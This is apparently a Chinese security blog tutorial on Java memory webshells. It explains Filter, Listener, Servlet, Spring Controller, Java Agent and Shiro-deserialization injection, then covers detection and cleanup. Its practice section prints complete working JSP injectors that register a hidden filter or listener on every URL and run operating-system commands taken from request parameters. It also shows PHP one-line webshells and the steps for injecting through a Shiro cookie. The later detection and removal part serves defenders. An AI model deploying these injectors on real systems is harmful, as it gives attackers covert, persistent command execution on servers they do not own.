免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
(需要如下代码资料的联系博主免费领取)
一:IDEA配置tomcat
1.打开文件servletjspproject
IDEA配置tomcat
2.配置端口等
选择第二个
3.启动tomcat服务后配置成功
二:JAVA内存马原理
Java内存马(内存Webshell)是一种驻留在内存中的恶意代码,通常不依赖磁盘文件,难以被传统安全检测手段发现。其核心原理是利用Java的动态性(如反射、类加载、字节码修改)在Web容器中动态注册恶意组件(如Servlet、Filter、Listener等)。以下是其实现原理的详细分析:
1. 核心原理
-
动态注入:通过漏洞(如反序列化、RCE)在目标JVM中动态加载恶意类或修改现有类。
-
组件注册:在Web容器(Tomcat、Spring等)中注册恶意组件(如Filter、Servlet),劫持HTTP请求。
-
内存驻留:恶意代码仅存在于内存中,不落地文件,重启后失效(除非持久化)。
2. 关键技术
(1) 类加载与反射
-
ClassLoader机制:通过
URLClassLoader
或defineClass
动态加载恶意字节码。 -
反射API:绕过访问限制,调用私有方法注册组件(如
addFilter()
)。
(2) 修改现有类字节码
-
Instrumentation API:通过
javaagent
修改已加载类的字节码(如插入后门逻辑)。 -
工具库:使用ASM、Javassist动态生成恶意类。
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get("org.apache.catalina.core.ApplicationFilterChain");
// 插入恶意逻辑到doFilter方法
(3) 注册恶意组件
-
Servlet/Filter注入:通过
ServletContext
添加恶意Filter/Servlet,拦截所有请求。
servlet:Servlet(服务器小程序) 是 Java 技术中用于处理 Web 请求和生成动态响应的核心组件。它运行在支持 Java 的 Web 服务器(如 Tomcat、Jetty 等)中,充当客户端(如浏览器)与服务器端应用之间的桥梁。
1.Jsp和servlet的关系:jsp经过编译后会会变成servlet,支持前端语法
2.Servlet和tomcat的关系:Tomcat中有servlet容器, tomcat可以提供http访问,tomcat可以将http请求转化为htttpservletrequest对象,并调用doGET/doPost并且把httpservletresponse转化为http响应内容
Filter:过滤器,过滤请求,过滤响应。自定义拦截地址
用途:1.权限验证2.过滤非法请求内容3.对请求解密;对响应加密4.记录用户访问日志
-
Listener注入:注册恶意监听器(如
ServletRequestListener
),捕获请求事件。
用途:1.统计网站在线人数2.统计网站总访问量3.监控访问记录
3. 常见类型
(1) Tomcat内存马
-
Filter型:注册恶意Filter到
StandardContext
的filterMaps
和filterConfigs
。 -
Servlet型:添加Servlet并映射到
/*
路径。
(2) Spring内存马
-
Controller型:通过
RequestMappingHandlerMapping
动态注册恶意Controller。
4.内存马与普通马的对比
4.1 普通木马
一句话木马
-
定义:
一种极简的恶意脚本,通常仅包含一行或几行代码,依赖外部工具(如“中国菜刀”)通过HTTP请求动态执行命令。 -
特点:
-
代码极简:例如PHP中的
<?php @eval($_POST['cmd']);?>
,通过POST参数cmd
接收并执行任意代码。 -
隐蔽性强:文件体积小,可隐藏在正常文件中(如图片、HTML注释)。
-
依赖客户端工具:需配合专用软件(如蚁剑、冰蝎)连接,实现文件管理、命令执行等功能。
-
-
典型场景:
利用文件上传漏洞植入,快速获取服务器控制权,适合短期渗透。
小马
-
定义:
功能比一句话木马更丰富的WebShell,通常包含基础的文件管理和命令执行功能,代码量适中。 -
特点:
-
功能扩展:支持文件上传、下载、目录遍历、命令执行等基础操作。
-
代码示例(PHP):
<?php if(isset($_GET['action'])){ if($_GET['action'] == 'upload') { /* 文件上传逻辑 */ } if($_GET['action'] == 'cmd') { system($_POST['command']); } } ?>
-
半交互式操作:可通过浏览器直接访问特定参数触发功能,无需专用工具。
-
-
典型场景:
需要简单持久化控制的场景,如维护后门或临时文件管理。
大马
-
定义:
功能全面的WebShell,通常具备图形化界面,支持文件管理、数据库操作、端口扫描等高级功能。 -
特点:
-
功能复杂:集成文件编辑、数据库连接、内网渗透、提权等模块(如“中国菜刀”配套的WebShell)。
-
代码量大:可能包含数千行代码,易被安全软件检测。
-
界面友好:提供类操作系统的交互界面,降低攻击者使用门槛。
-
-
典型场景:
长期控制服务器,进行深度渗透或数据窃取,但隐蔽性较差。
4.2 两马对比
存储位置与持久性
对比项 | 普通木马(Webshell) | 内存马(内存Webshell) |
---|---|---|
存储位置 | 磁盘文件(如JSP、PHP、ASP等) | 内存(JVM运行时环境) |
持久性 | 依赖文件存在,删除文件即失效 | 驻留内存,重启应用或服务后失效(除非持久化) |
依赖条件 | 需要上传文件到服务器 | 依赖漏洞注入(如RCE、反序列化) |
实现机制
对比项 | 普通木马 | 内存马 |
---|---|---|
技术原理 | 通过文件上传漏洞部署脚本文件,通过HTTP请求执行命令 | 利用Java动态性(反射、类加载)在内存中动态注册恶意组件(Filter/Servlet/Controller) |
攻击入口 | 文件路径直接访问(如 | 劫持Web容器请求处理流程(如所有URL路径) |
典型示例 | JSP文件: | 动态注册Filter拦截请求,执行内存中的恶意代码 |
隐蔽性与检测难度
对比项 | 普通木马 | 内存马 |
---|---|---|
文件扫描 | 易被传统杀毒软件或文件监控发现 | 无文件落地,无法通过文件哈希或静态扫描检测 |
日志痕迹 | 访问路径可能被Web日志记录(如 | 无特定URL路径,请求行为与正常流量混合 |
运行时检测 | 进程监控可能发现异常命令执行 | 需检查JVM内存中的类、组件注册情况(如Tomcat的Filter列表) |
防御绕过能力 | 低(依赖文件) | 高(完全内存驻留,无文件特征) |
攻击场景与优缺点
对比项 | 普通木马 | 内存马 |
---|---|---|
适用场景 | 长期驻留、低安全防护环境 | 快速攻击、绕过安全防护(如WAF、杀毒软件) |
优点 | 部署简单,持久性强 | 隐蔽性高,无文件特征,难以追踪 |
缺点 | 易被文件监控发现,依赖文件上传漏洞 | 实现复杂,依赖内存注入漏洞,重启后失效 |
防御与检测手段对比
防御手段 | 普通木马 | 内存马 |
---|---|---|
静态检测 | 文件哈希校验、Web目录监控、代码审计 | 无效(无文件) |
动态检测 | 进程行为监控、命令执行日志分析 | 监控JVM类加载、反射调用、异常组件注册 |
防护方案 | WAF拦截可疑文件上传、文件权限控制 | RASP(运行时应用自保护)、内存马特征扫描 |
清除方式 | 删除文件、修复上传漏洞 | 重启服务、修复漏洞、清理恶意组件注册 |
三:实战演练
1.内存马三个组件注入
1.1 Filter 内存马
上传后如下
然后先对filter这个内存马进行访问
注入成功
利用钥匙访问,成功拿到当前用户名。可以看到这里和之前的大小马都不一样,只有密码访问。是因为当我们访问内存文件后,恶意代码已经存储在内存中,即使现在将内存马文件删除后也是能访问。
代码如下
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!-- http://localhost:8076/addFilter.jsp -->
<!-- http://localhost:8076/?cmd1=whoami -->
<%
final String name = "AutomneGreet";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
if (lrequest.getParameter("cmd1") != null){
Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd1"));
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
lresponse.getOutputStream().flush();
lresponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("inject filter success");
}
%>
1.2 Listener 内存马
代码如下
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<!-- http://localhost:8076/addListener.jsp -->
<!-- http://localhost:8076/?cmd2=calc -->
<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if(request.getParameter("cmd2") != null){
try {
Runtime.getRuntime().exec(request.getParameter("cmd2"));
} catch (IOException e) {}
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject listener success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>
1.3 Servlent 内存马
代码如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!-- http://localhost:8086/addServlet.jsp -->
<!-- http://localhost:8086/?cmd3=dir -->
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd3") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd3")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd3")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("inject servlet success");
%>
2.Spring内存马
依旧是先打开spring项目配置tomcat运行即可
打开网站如下
这里它提供了一个映射路径 及类的查看路径
2.1访问/test1即:普通的内存马
注入成功
创建了一个路径为/good来用于存储内存马
访问成功
2.2访问/test2:注入隐藏马
没有变化,被隐藏起来了在/api中
最开始访问/api界面如下
注入后访问如下
部分代码如下
package com.wuya.spring;
import exp.InvisibleShell;
import exp.InjectToController;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@Controller
public class TestController {
@RequestMapping("/mappings")
@ResponseBody
public String mappings(){
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);
Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry");
_mappingRegistry.setAccessible(true);
Object mappingRegistry = _mappingRegistry.get(rmhMapping);
Field _registry = mappingRegistry.getClass().getDeclaredField("registry");
_registry.setAccessible(true);
HashMap<Object,Object> registry = (HashMap<Object, Object>) _registry.get(mappingRegistry);
Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();
Class<?> mappingRegistrationClazz = null;
for (Class<?> item : tempArray) {
if (item.getName().equals(
"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"
)) {
mappingRegistrationClazz = item;
}
}
StringBuilder sb = new StringBuilder();
sb.append("<pre>");
sb.append("| path |").append("\t").append("\t").append("| info |").append("\n");
for(Map.Entry<Object,Object> entry:registry.entrySet()){
sb.append("--------------------------------------------");
sb.append("\n");
RequestMappingInfo key = (RequestMappingInfo) entry.getKey();
List<String> tempList = new ArrayList<>(key.getPatternsCondition().getPatterns());
sb.append(tempList.get(0)).append("\t").append("-->").append("\t");
Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
_handlerMethod.setAccessible(true);
HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());
Field _desc = handlerMethod.getClass().getDeclaredField("description");
_desc.setAccessible(true);
String desc = (String) _desc.get(handlerMethod);
sb.append(desc);
sb.append("\n");
}
sb.append("</pre>");
return sb.toString();
}catch (Exception e){
e.printStackTrace();
}
return "";
}
@RequestMapping("/test1")
@ResponseBody
public String test1() {
try {
new InjectToController();
}catch (Exception e){
e.printStackTrace();
}
return "inject Controller ok";
}
@RequestMapping("/test2")
@ResponseBody
public String test2() {
try {
new InvisibleShell();
}catch (Exception e){
e.printStackTrace();
}
return "inject InvisibleShell ok";
}
}
//TextController
package com.wuya.spring;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class ApiController {
@RequestMapping("/api")
@ResponseBody
public String scan(){
return "ok ordinary api";
}
}
//Apicontroller
3.Agent内存马
3.1Java agent 技术
Java Agent 是 Java 平台提供的一种特殊机制,允许开发者在 JVM 运行时动态修改或增强字节码(.class文件),从而实现代码监控、性能分析、热修复、AOP(面向切面编程)等功能。它通过 Java Instrumentation API 实现,是 Java 生态中实现无侵入式编程的核心工具
Java agent 运行方式: 启动agent时通过attach方式挂载目标进程号
3.2 实现在项目运行时修改它的代码(AgentDemo)
打开AgentDemo项目
AgentDemo功能:修改targetapp项目类,使其代码被篡改
Targetapp项目
.class内容如下(修改为如下内容)
运行Targetapp
将这个java文件打包
终端执行如下命令
打包成功
然后获取Targetapp进程号
打开如下项目
在项目结构中添加如下路径
运行agenttest
成功修改
注意修改项目中的路径为自己的实际路径
代码如下
package me.mole.transform;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;
public class Transformer implements ClassFileTransformer {
// 用于合并多个字节数组为一个数组
private byte[] mergeByteArray(byte[]... byteArray) {
int totalLength = 0;
for (int i = 0; i < byteArray.length; i++) {
if (byteArray[i] == null) {
continue;
}
totalLength += byteArray[i].length;
}
byte[] result = new byte[totalLength];
int cur = 0;
for (int i = 0; i < byteArray.length; i++) {
if (byteArray[i] == null) {
continue;
}
System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
cur += byteArray[i].length;
}
return result;
}
// 从给定路径的文件中读取字节数组
private byte[] getBytesFromFile(String fileName) {
try {
byte[] result = new byte[]{};
InputStream is = new FileInputStream(new File(fileName));
byte[] bytes = new byte[1024];
int num = 0;
while ((num = is.read(bytes)) != -1) {
result = mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
}
is.close();
return result;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
// ClassFileTransformer接口的核心方法
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (!className.equals("me/mole/Bird")) {
return null;
}
// 匹配到类名,返回已近编译好的字节码内容(修改后的)
return getBytesFromFile("D:\\web-ruanjianfujian\\agent\\hook-test\\Bird.class");
}
}
//Transformer.java
package me.mole;
import me.mole.transform.Transformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentEntry {
/**
* jvm 参数形式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("premain");
}
/**
* 动态 attach 方式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
public static void agentmain(String agentArgs, Instrumentation inst)
throws ClassNotFoundException, UnmodifiableClassException,
InterruptedException {
inst.addTransformer(new Transformer(), true);
// 修改了Bird的代码
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals("me.mole.Bird")) {
try {
inst.retransformClasses(c);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
System.out.println("Class changed!");
}
}
///AgentEntry.java
package me.mole;
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AgentTest {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine vm = VirtualMachine.attach("3156");
vm.loadAgent("D:\\web-ruanjianfujian\\agent\\JavaInstrument-main\\AgentDemo\\targetAgentDemo-1.0-SNAPSHOT-jar-with-dependencies.jar");
}
}
///AgentTest.java
package me.mole;
public class TargetAppMain {
public static void main(String[] args) throws Exception {
System.out.println("Hi,guys! This is TargetApp.");
Bird bird = new Bird();
while (true) {
bird.say();
Thread.sleep(5000);
}
}
}
///TargetAppMain.java
package me.mole;
public class Bird {
public void say() {
System.out.println("bird say hello.");
}
}
///Bird.java
3.3 Agent 注入tomcat内存马
启动tomcat
启动成功
打开如下项目实现自动内存马注入
命令行输入项目路径下输入java -jar inject.jar password
出现如下即注入成功
打开tomcat得到,注入成功
(注意如果你安装jdk8无法复现的话,安装jdk11即可)
4.Shiro反序列化内存马注入
配置tomcat
修改tomcat中config中的server.xml
打开内存马项目Shiroattack
运行这个项目得到payload
打开bp抓包注入
抓包成功
将得到的payload放于cookie处。RememberME 中。然后利用重放器发送即可完成内存马注入
然后访问http://localhost:8083/shiro/login.jsp?cmd=whoami
即可得到当前用户名。100%内存马注入成功
(此案例不提供代码,如需联系博主。之前所提供代码均不全,需要完整项目联系博主)
5.内存马注入思路
5.1 基于JSP WebShell植入内存马
-
原理:攻击者通过上传JSP WebShell到服务器(如文件上传漏洞),利用其执行环境动态加载恶意类或修改Web组件(如Servlet、Filter),将恶意逻辑注入内存。
-
特点:依赖文件落地(WebShell)作为跳板,但最终驻留内存,可绕过后续文件扫描。
-
示例:通过JSP文件调用Java反射API,动态注册恶意Filter,拦截请求并执行命令。
5.2 通过Java Agent植入内存马
-
原理:利用Java Agent的字节码修改能力(Instrumentation API),在目标进程启动时或运行时(通过Attach API)注入恶意Agent,篡改关键类(如
ServletContainer
、DispatcherServlet
)的逻辑。 -
特点:无文件落地,直接修改JVM内存中的类定义,隐蔽性极强。
-
示例:通过
-javaagent
参数加载恶意Agent,重写FilterChain
的逻辑以劫持请求。
5.3 基于JavaWeb RCE漏洞植入内存马
利用常见框架漏洞实现远程代码执行(RCE),直接在内存中植入恶意组件,典型场景包括:
-
Fastjson反序列化:构造恶意JSON数据触发反序列化漏洞,通过JNDI注入或字节码加载植入内存马(如动态注册恶意Controller)。
-
Spring Cloud Gateway路由劫持:利用未授权路由创建漏洞,添加恶意路由规则,将请求转发至内存中的恶意逻辑。
-
Log4j2 JNDI注入:通过日志语句触发JNDI远程类加载,执行恶意代码并注入内存马(如绑定恶意LDAP服务)。
-
Shiro反序列化:利用Shiro的RememberMe Cookie反序列化漏洞,执行任意代码动态注册Filter或Listener。
-
FreeMarker SSTI:通过模板注入执行Java代码,反射调用API注册恶意Servlet或拦截器。
四:JAVA内存马查杀思路
1.工具
(需要工具的联系博主免费领取)
1.1 河马查杀
1.2 工具shell-analyzer
2.内存马查杀核心思路
2.1 重启服务(临时解决)
-
原理:内存马驻留在JVM内存中,重启服务会清空内存,但需注意:
-
仅临时有效:若漏洞未修复,攻击者可再次注入。
-
生产环境慎用:可能导致业务中断,需评估影响。
-
2.2 文件查杀(辅助手段)
-
适用场景:普通Webshell(如JSP文件)。
-
工具推荐:
-
河马Webshell查杀:支持静态文件扫描,检测已知恶意代码特征。
-
ClamAV:结合自定义规则检测后门文件。
-
-
局限性:内存马无磁盘文件,传统文件查杀无效,但可辅助清除持久化攻击痕迹。
2.3 漏洞检测与修复(根本措施)
-
关键步骤:
-
定位漏洞根源(如Log4j、Fastjson、Shiro等)。
-
升级组件版本或打补丁(如Apache官方修复方案)。
-
关闭非必要端口和服务(如JMX、调试接口)。
-
3.内存马专用检测方法
3.1 内存扫描:检测JVM加载的恶意类
-
步骤:
-
获取JVM中所有已加载的类:
# 使用jcmd导出类列表
jcmd <PID> GC.class_histogram | grep -vE "java\.|sun\." -
识别可疑类特征:
-
类名含
Filter
/Shell
/Agent
等敏感词。 -
类路径异常(如
com.xxx.hack
、随机包名)。
-
-
交叉验证:检查类是否在磁盘存在(内存有但磁盘无 → 高危)。
-
-
工具辅助:
-
Arthas:动态查看类加载信息。
# 列出所有已加载类
sc *
# 查看某个类的来源(JAR包或动态加载)
sc -d com.example.EvilFilter -
Java Mission Control (JMC):实时监控类加载事件。
-
3.2 恶意类内容分析
-
检测逻辑:
-
Dump类字节码:
# 使用jcmd dump类到文件
jcmd <PID> GC.class_histogram > classes.txt
jmap -dump:live,format=b,file=heap.hprof <PID> -
反编译分析:
-
使用JD-GUI、CFR等工具反编译
.class
文件。 -
搜索危险代码(如
Runtime.exec()
、defineClass
)。
-
-
-
自动化工具:
-
内存马查杀工具(如“冰蝎内存马检测插件”):直接扫描JVM内存中的恶意类。
-
RASP(运行时防护):拦截危险API调用(如命令执行、类加载)。
-
4.内存马查杀操作步骤
4.1 定位恶意组件
-
Tomcat场景:
# 通过Tomcat Manager查看Filter/Servlet列表
curl -u admin:password http://localhost:8080/manager/text/list
# 检查结果中的未知Filter(如evilFilter) -
Spring场景:
# 查看所有注册的Controller(需开启Actuator)
curl http://localhost:8080/actuator/mappings | jq '.'
# 检查异常URL映射(如"/**")
4.2.动态移除组件
-
Tomcat手动移除Filter:
// 获取StandardContext
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, FilterConfig> filterConfigs = (Map) filterConfigsField.get(standardContext);// 移除恶意Filter
filterConfigs.remove("evilFilter");// 清理FilterMap
Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
filterMapsField.setAccessible(true);
List<FilterMap> filterMaps = (List) filterMapsField.get(standardContext);
filterMaps.removeIf(map -> "evilFilter".equals(map.getFilterName())); -
Spring移除Controller:
// 获取HandlerMapping并注销
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
handlerMapping.unregisterMapping(mappingInfo);
4.3 清除持久化痕迹
-
检查启动项:
# Linux排查定时任务
crontab -l
ls -al /etc/cron.d/
# Windows排查计划任务
schtasks /query /fo LIST -
修复漏洞:
-
升级存在漏洞的组件(如Fastjson到2.0.48+)。
-
禁用危险协议(如LDAP、RMI远程加载类)。
-
五:总结
内存马(内存型WebShell)是一种高度隐蔽的无文件攻击技术,其核心在于将恶意代码直接植入目标应用进程的内存中执行,避免在磁盘上留下文件痕迹,从而规避传统基于文件扫描的安全检测手段。攻击者通常利用应用漏洞(如反序列化、表达式注入等)将恶意载荷注入Java、PHP、Python等服务的运行时内存,通过动态修改Web应用的逻辑(如Servlet、Filter、Controller等组件),劫持合法请求并实现持久化控制。常见类型包括Java Filter型、Agent型、PHP扩展型、.NET模块型等。内存马的优势在于其驻留于内存、无文件落地、与合法进程深度绑定的特性,导致传统杀毒软件、流量监控难以察觉。检测需依赖内存取证、行为分析、RASP(运行时应用自保护)等技术,防御则需结合漏洞修复、最小权限原则、内存监控及EDR(端点检测响应)等综合方案,是当前攻防对抗中的高级威胁之一。
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)